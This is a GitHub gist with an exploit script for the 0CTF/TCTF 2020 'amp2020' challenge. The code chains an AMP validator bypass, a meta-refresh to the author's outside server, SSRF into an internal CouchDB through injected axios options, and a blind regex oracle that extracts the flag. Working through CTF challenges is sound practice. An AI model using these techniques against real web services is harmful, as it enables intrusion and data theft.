Skip to content

Instantly share code, notes, and snippets.

@wbowling
Last active Jun 29, 2020
Embed
What would you like to do?
Solution to amp2020 from 0CTF/TCTF 2020 Quals
#!/usr/bin/env python
from pwn import *
import requests
import string
"""
* can add arbitrary html and pass the validator by adding a tag comment inside the <noscript> and close it
* axios uses `input` directly and we can make it an object allowing full param control
* cheerio needs a string, but axios tries to return the response as json. If you add `爀` and set the `responseEncoding` to `ascii` the json parsing fails and it returns text
* add 25 entries to the db, the last one containing `爀<script><\/script>`
* use the couchdb `_find` api to do a partial match of the flag, if it matches the `<script>` doc will be off the page (26) results otherwise it will be returned
* Using the above the screenshot will either contain the amp errors (huge) or the "BONUS LIMIT" error (small) so can do a blind search based on the result size
need to run the add_script_doc function once to populate the db, then comment it out for the blind search
"""
HTML="""
<html>
<body>
<script>
const loginUser = "vakzz3";
const user = "a" + "3fcd9a6bcdb771f8241b594ba4546ec9";
const BASE = "http://localhost:3000/"
function setup() {
var iframe = document.createElement("iframe");
iframe.name = "iframe";
iframe.width = 800;
iframe.height = 600;
document.body.appendChild(iframe);
}
function create_form(path) {
var form = document.createElement("form");
form.method = "POST";
form.action = BASE + path;
form.target = "iframe";
document.body.appendChild(form);
return form;
}
function create_input(name, value) {
var element = document.createElement("input");
element.name = name;
element.value = value;
element.type = "hidden";
return element;
}
async function login() {
form = create_form("users/login")
form.appendChild(create_input("username", loginUser));
form.appendChild(create_input("password", "vakzz"));
form.submit();
await new Promise((resolve) => setTimeout(resolve, 300));
}
async function add_script_doc() {
form = create_form("validator")
form.appendChild(create_input("type", "url"));
form.appendChild(create_input("input[url]", `http://8.8.8.8:5984/${user}/_bulk_docs`));
form.appendChild(create_input("input[proxy][host]", "couchdb"));
form.appendChild(create_input("input[proxy][port]", "5984"));
for (let i = 0; i < 24; i++) {
form.appendChild(create_input(`input[data][docs][${i}][_id]`, `inject${i}`));
}
form.appendChild(create_input(`input[data][docs][24][_id]`, `script`));
form.appendChild(create_input(`input[data][docs][24][body]`, `爀<script><\/script>`));
form.appendChild(create_input("input[auth][username]", user))
form.appendChild(create_input("input[auth][password]", "vakzz"))
form.appendChild(create_input("input[method]", "post"));
form.submit();
await new Promise((resolve) => setTimeout(resolve, 300));
}
async function get_flag() {
form = create_form("validator")
form.appendChild(create_input("type", "url"));
form.appendChild(create_input("input[url]", `http://8.8.8.8:5984/${user}/_find`));
form.appendChild(create_input("input[proxy][host]", "couchdb"));
form.appendChild(create_input("input[proxy][port]", "5984"));
form.appendChild(create_input("input[auth][username]", user))
form.appendChild(create_input("input[auth][password]", "vakzz"))
form.appendChild(create_input("input[data][selector][$or][0][flag][$regex]", "THE_REGEX"))
form.appendChild(create_input("input[data][selector][$or][1][_id][$regex]", "(inject|script).*"))
form.appendChild(create_input("input[method]", "post"));
form.appendChild(create_input("input[responseEncoding]", "ascii"));
form.submit();
await new Promise((resolve) => setTimeout(resolve, 300));
}
async function gogo() {
setup();
await login();
// await add_script_doc();
await get_flag();
}
gogo();
</script>
</body>
</html>
"""
PAYLOAD="""<!doctype html>
<html amp lang="en">
<head>
<noscript><style amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms-animation:none;animation:none}</style>
<!-- </noscript> <meta http-equiv="refresh" content="0;url=http://aw.rs:12344"> -->
</noscript>
<meta charset="utf-8">
<script async src="https://cdn.ampproject.org/v0.js"></script>
<title>Hello, AMPs</title>
<link rel="canonical" href="https://amp.dev/documentation/guides-and-tutorials/start/create/basic_markup/">
<meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1">
<style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-ms-animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start 8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}</style>
</head>
<body>
<h1>Welcome to the mobile web</h1>
</body>
</html>"""
flag = ""
found = "t4ke_a_google_amp_screensh0t_and_fell_"
def cb(c):
ppp = HTML.replace("THE_REGEX", "^flag{" + flag + ".*}$")
c.send("""HTTP/1.1 200 OK\r\nContent-Length:{}\r\nContent-Type: text/html; charset=utf-8\r\n\r\n{}""".format(len(ppp),ppp))
c.close()
l = server(12344, callback=cb)
s = requests.Session()
while True:
for c in "_" + string.ascii_lowercase + string.digits:
flag = found + c
s.post("http://pwnable.org:33000/users/login", data={"password":"vakzz", "username": "vakzz"})
resp = s.post("http://pwnable.org:33000/validator", data={"type":"text", "input": PAYLOAD})
body = resp.json()
size = len(body["image"])
print(flag, size)
if size < 15000:
found = flag
break
# flag{t4ke_a_google_amp_screensh0t_and_fell_into_millions_pit}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment